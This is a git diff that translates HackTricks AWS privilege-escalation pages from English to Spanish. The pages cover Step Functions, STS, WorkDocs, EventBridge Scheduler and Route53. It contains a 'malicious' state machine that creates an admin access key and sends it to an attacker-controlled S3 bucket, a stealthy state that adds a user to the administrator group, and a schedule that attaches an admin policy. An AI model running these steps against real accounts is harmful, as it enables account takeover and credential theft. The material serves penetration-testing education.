permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. - +Un atacante con este permiso puede eliminar el Límite de Permisos del conjunto de permisos. Es posible otorgar **más privilegios al eliminar las restricciones en el Conjunto de Permisos** otorgado por el Límite de Permisos. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index bfc3adb77..91099fc0d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,73 +4,66 @@ ## Step Functions -For more information about this AWS service, check: +Para más información sobre este servicio de AWS, consulta: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Task Resources +### Recursos de Tareas -These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions. +Estas técnicas de escalada de privilegios van a requerir el uso de algunos recursos de funciones de paso de AWS para realizar las acciones de escalada de privilegios deseadas. -In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in: +Para verificar todas las acciones posibles, puedes ir a tu propia cuenta de AWS, seleccionar la acción que te gustaría usar y ver los parámetros que está utilizando, como en:
-Or you could also go to the API AWS documentation and check each action docs: +O también puedes ir a la documentación de la API de AWS y revisar la documentación de cada acción: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. - +Un atacante con los permisos **`states:TestState`** y **`iam:PassRole`** puede probar cualquier estado y pasar cualquier rol de IAM a él sin crear o actualizar una máquina de estados existente, lo que permite el acceso no autorizado a otros servicios de AWS con los permisos del rol. potencialmente. Combinados, estos permisos pueden llevar a acciones no autorizadas extensas, desde manipular flujos de trabajo para alterar datos hasta filtraciones de datos, manipulación de recursos y escalada de privilegios. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` - -The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action: +Los siguientes ejemplos muestran cómo probar un estado que crea una clave de acceso para el **`admin`** usuario aprovechando estos permisos y un rol permisivo del entorno de AWS. Este rol permisivo debería tener asociada alguna política de alto privilegio (por ejemplo **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permita al estado realizar la acción **`iam:CreateAccessKey`**: - **stateDefinition.json**: - ```json { - "Type": "Task", - "Parameters": { - "UserName": "admin" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "End": true +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true } ``` - -- **Command** executed to perform the privesc: - +- **Comando** ejecutado para realizar el privesc: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole { - "output": "{ - \"AccessKey\":{ - \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", - \"CreateDate\":\"2024-07-09T16:59:11Z\", - \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", - \"Status\":\"Active\", - \"UserName\":\"admin\" - } - }", - "status": "SUCCEEDED" +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Impacto Potencial**: Ejecución no autorizada y manipulación de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine. - +Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma, también necesitarás tener los permisos **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` - -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +Los siguientes ejemplos muestran cómo crear una máquina de estados que crea una clave de acceso para el **`admin`** usuario y exfiltra esta clave de acceso a un bucket S3 controlado por un atacante, aprovechando estos permisos y un rol permisivo del entorno de AWS. Este rol permisivo debe tener asociada alguna política de alto privilegio (por ejemplo **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permita a la máquina de estados realizar las acciones **`iam:CreateAccessKey`** y **`s3:putObject`**. - **stateMachineDefinition.json**: - ```json { - "Comment": "Malicious state machine to create IAM access key and upload to S3", - "StartAt": "CreateAccessKey", - "States": { - "CreateAccessKey": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "Parameters": { - "UserName": "admin" - }, - "ResultPath": "$.AccessKeyResult", - "Next": "PrepareS3PutObject" - }, - "PrepareS3PutObject": { - "Type": "Pass", - "Parameters": { - "Body.$": "$.AccessKeyResult.AccessKey", - "Bucket": "attacker-controlled-S3-bucket", - "Key": "AccessKey.json" - }, - "ResultPath": "$.S3PutObjectParams", - "Next": "PutObject" - }, - "PutObject": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:s3:putObject", - "Parameters": { - "Body.$": "$.S3PutObjectParams.Body", - "Bucket.$": "$.S3PutObjectParams.Bucket", - "Key.$": "$.S3PutObjectParams.Key" - }, - "End": true - } - } +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} } ``` - -- **Command** executed to **create the state machine**: - +- **Comando** ejecutado para **crear la máquina de estados**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { - "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", - "creationDate": "2024-07-09T20:29:35.381000+02:00" +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` - -- **Command** executed to **start an execution** of the previously created state machine: - +- **Comando** ejecutado para **iniciar una ejecución** de la máquina de estados creada previamente: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { - "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "startDate": "2024-07-09T20:33:35.466000+02:00" +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" } ``` - > [!WARNING] -> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. +> El bucket S3 controlado por el atacante debe tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima. -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas. -### `states:UpdateStateMachine` & (not always required) `iam:PassRole` +### `states:UpdateStateMachine` & (no siempre requerido) `iam:PassRole` -An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Un atacante con el permiso **`states:UpdateStateMachine`** podría modificar la definición de una máquina de estados, pudiendo agregar estados adicionales sigilosos que podrían resultar en una escalada de privilegios. De esta manera, cuando un usuario legítimo inicia una ejecución de la máquina de estados, este nuevo estado sigiloso malicioso se ejecutará y la escalada de privilegios será exitosa. -Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations: - -1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough. -2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition. +Dependiendo de cuán permisivo sea el Rol IAM asociado a la máquina de estados, un atacante se enfrentaría a 2 situaciones: +1. **Rol IAM permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar también el Rol IAM; con la definición de la máquina de estados es suficiente. +2. **Rol IAM no permisivo**: En contraste con el caso anterior, aquí un atacante también requeriría el permiso **`iam:PassRole`** ya que sería necesario asociar un Rol IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` - -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Los siguientes ejemplos muestran cómo actualizar una máquina de estados legítima que solo invoca una función Lambda HelloWorld, para agregar un estado adicional que añade al usuario **`unprivilegedUser`** al grupo IAM **`administrator`**. De esta manera, cuando un usuario legítimo inicia una ejecución de la máquina de estados actualizada, este nuevo estado sigiloso malicioso se ejecutará y la escalada de privilegios será exitosa. > [!WARNING] -> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached). +> Si la máquina de estados no tiene un rol IAM permisivo asociado, también se requeriría el permiso **`iam:PassRole`** para actualizar el rol IAM con el fin de asociar un rol IAM permisivo (por ejemplo, uno con la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta). {{#tabs }} {{#tab name="Legit State Machine" }} - ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} -{{#tab name="Malicious Updated State Machine" }} - +{{#tab name="Máquina de Estado Actualizada Maliciosa" }} ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "AddUserToGroup" - }, - "AddUserToGroup": { - "Type": "Task", - "Parameters": { - "GroupName": "administrator", - "UserName": "unprivilegedUser" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} {{#endtabs }} -- **Command** executed to **update** **the legit state machine**: - +- **Comando** ejecutado para **actualizar** **la máquina de estados legítima**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { - "updateDate": "2024-07-10T20:07:10.294000+02:00", - "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 782bcc237..85b8265fa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,121 +6,101 @@ ### `sts:AssumeRole` -Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**). - -For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role. +Cada rol se crea con una **política de confianza del rol**, esta política indica **quién puede asumir el rol creado**. Si un rol de la **misma cuenta** dice que una cuenta puede asumirlo, significa que la cuenta podrá acceder al rol (y potencialmente **privesc**). +Por ejemplo, la siguiente política de confianza del rol indica que cualquiera puede asumirlo, por lo tanto **cualquier usuario podrá privesc** a los permisos asociados con ese rol. ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - -You can impersonate a role running: - +Puedes suplantar un rol ejecutando: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` - -**Potential Impact:** Privesc to the role. +**Impacto Potencial:** Privesc al rol. > [!CAUTION] -> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\ -> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role. +> Tenga en cuenta que en este caso el permiso `sts:AssumeRole` debe ser **indicado en el rol a abusar** y no en una política perteneciente al atacante.\ +> Con una excepción, para **asumir un rol de una cuenta diferente** la cuenta del atacante **también necesita** tener el **`sts:AssumeRole`** sobre el rol. ### **`sts:GetFederationToken`** -With this permission it's possible to generate credentials to impersonate any user: - +Con este permiso es posible generar credenciales para suplantar a cualquier usuario: ```bash aws sts get-federation-token --name ``` - -This is how this permission can be given securely without giving access to impersonate other users: - +Esta es la forma en que se puede otorgar este permiso de manera segura sin dar acceso para suplantar a otros usuarios: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "sts:GetFederationToken", - "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "VisualEditor0", +"Effect": "Allow", +"Action": "sts:GetFederationToken", +"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" +} +] } ``` - ### `sts:AssumeRoleWithSAML` -A trust policy with this role grants **users authenticated via SAML access to impersonate the role.** - -An example of a trust policy with this permission is: +Una política de confianza con este rol otorga **a los usuarios autenticados a través de SAML acceso para suplantar el rol.** +Un ejemplo de una política de confianza con este permiso es: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "OneLogin", - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" - }, - "Action": "sts:AssumeRoleWithSAML", - "Condition": { - "StringEquals": { - "SAML:aud": "https://signin.aws.amazon.com/saml" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] } ``` - -To generate credentials to impersonate the role in general you could use something like: - +Para generar credenciales para suplantar el rol, en general podrías usar algo como: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` - -But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): - +Pero **los proveedores** pueden tener **sus propias herramientas** para facilitar esto, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` - -**Potential Impact:** Privesc to the role. +**Impacto Potencial:** Privesc al rol. ### `sts:AssumeRoleWithWebIdentity` -This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +Este permiso otorga la capacidad de obtener un conjunto de credenciales de seguridad temporales para **usuarios que han sido autenticados en una aplicación móvil, web, EKS...** con un proveedor de identidad web. [Aprende más aquí.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +Por ejemplo, si una **cuenta de servicio de EKS** debería poder **suplantar un rol de IAM**, tendrá un token en **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** y puede **asumir el rol y obtener credenciales** haciendo algo como: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` - -### Federation Abuse +### Abuso de Federación {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4b1e5e7e9..275d95379 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -For more info about WorkDocs check: +Para más información sobre WorkDocs, consulta: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,14 @@ For more info about WorkDocs check: ### `workdocs:CreateUser` -Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: - +Crea un usuario dentro del Directorio indicado, luego tendrás acceso tanto a WorkDocs como a AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` - ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -The files might contain sensitive information, read them: - +Los archivos pueden contener información sensible, léelos: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` - ### `workdocs:AddResourcePermissions` -If you don't have access to read something, you can just grant it - +Si no tienes acceso para leer algo, simplemente puedes otorgarlo. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### `workdocs:AddUserToGroup` -You can make a user admin by setting it in the group ZOCALO_ADMIN.\ -For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) - -Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` - -I didn't find any way to do this from the cli. - - +Puedes convertir a un usuario en administrador al configurarlo en el grupo ZOCALO_ADMIN.\ +Para eso, sigue las instrucciones de [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) +Inicia sesión con ese usuario en workdoc y accede al panel de administración en `/workdocs/index.html#/admin` +No encontré ninguna manera de hacer esto desde la cli. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 1519df70f..992d9cd36 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -More info EventBridge Scheduler in: +Más información sobre EventBridge Scheduler en: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,42 +12,34 @@ More info EventBridge Scheduler in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action - -For example, they could configure the schedule to **invoke a Lambda function** which is a templated action: +Un atacante con esos permisos podrá **`crear`|`actualizar` un programador y abusar de los permisos del rol del programador** adjunto a él para realizar cualquier acción. +Por ejemplo, podrían configurar el horario para **invocar una función Lambda** que es una acción plantillada: ```bash aws scheduler create-schedule \ - --name MyLambdaSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:lambda:::function:", - "RoleArn": "arn:aws:iam:::role/" - }' +--name MyLambdaSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:lambda:::function:", +"RoleArn": "arn:aws:iam:::role/" +}' ``` - -In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy: - +Además de las acciones de servicio en plantilla, puedes usar **universal targets** en EventBridge Scheduler para invocar una amplia gama de operaciones API para muchos servicios de AWS. Los universal targets ofrecen flexibilidad para invocar casi cualquier API. Un ejemplo puede ser usar universal targets añadiendo "**AdminAccessPolicy**", utilizando un rol que tiene la política "**putRolePolicy**": ```bash aws scheduler create-schedule \ - --name GrantAdminToTargetRoleSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", - "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", - "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" - }' +--name GrantAdminToTargetRoleSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", +"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", +"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" +}' ``` - -## References +## Referencias - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index fc3563ce7..1154a77fa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -For more information about Route53 check: +Para más información sobre Route53, consulta: {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,26 +11,22 @@ For more information about Route53 check: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic. +> Para realizar este ataque, la cuenta objetivo debe tener ya configurada una [**Autoridad de Certificación Privada de AWS 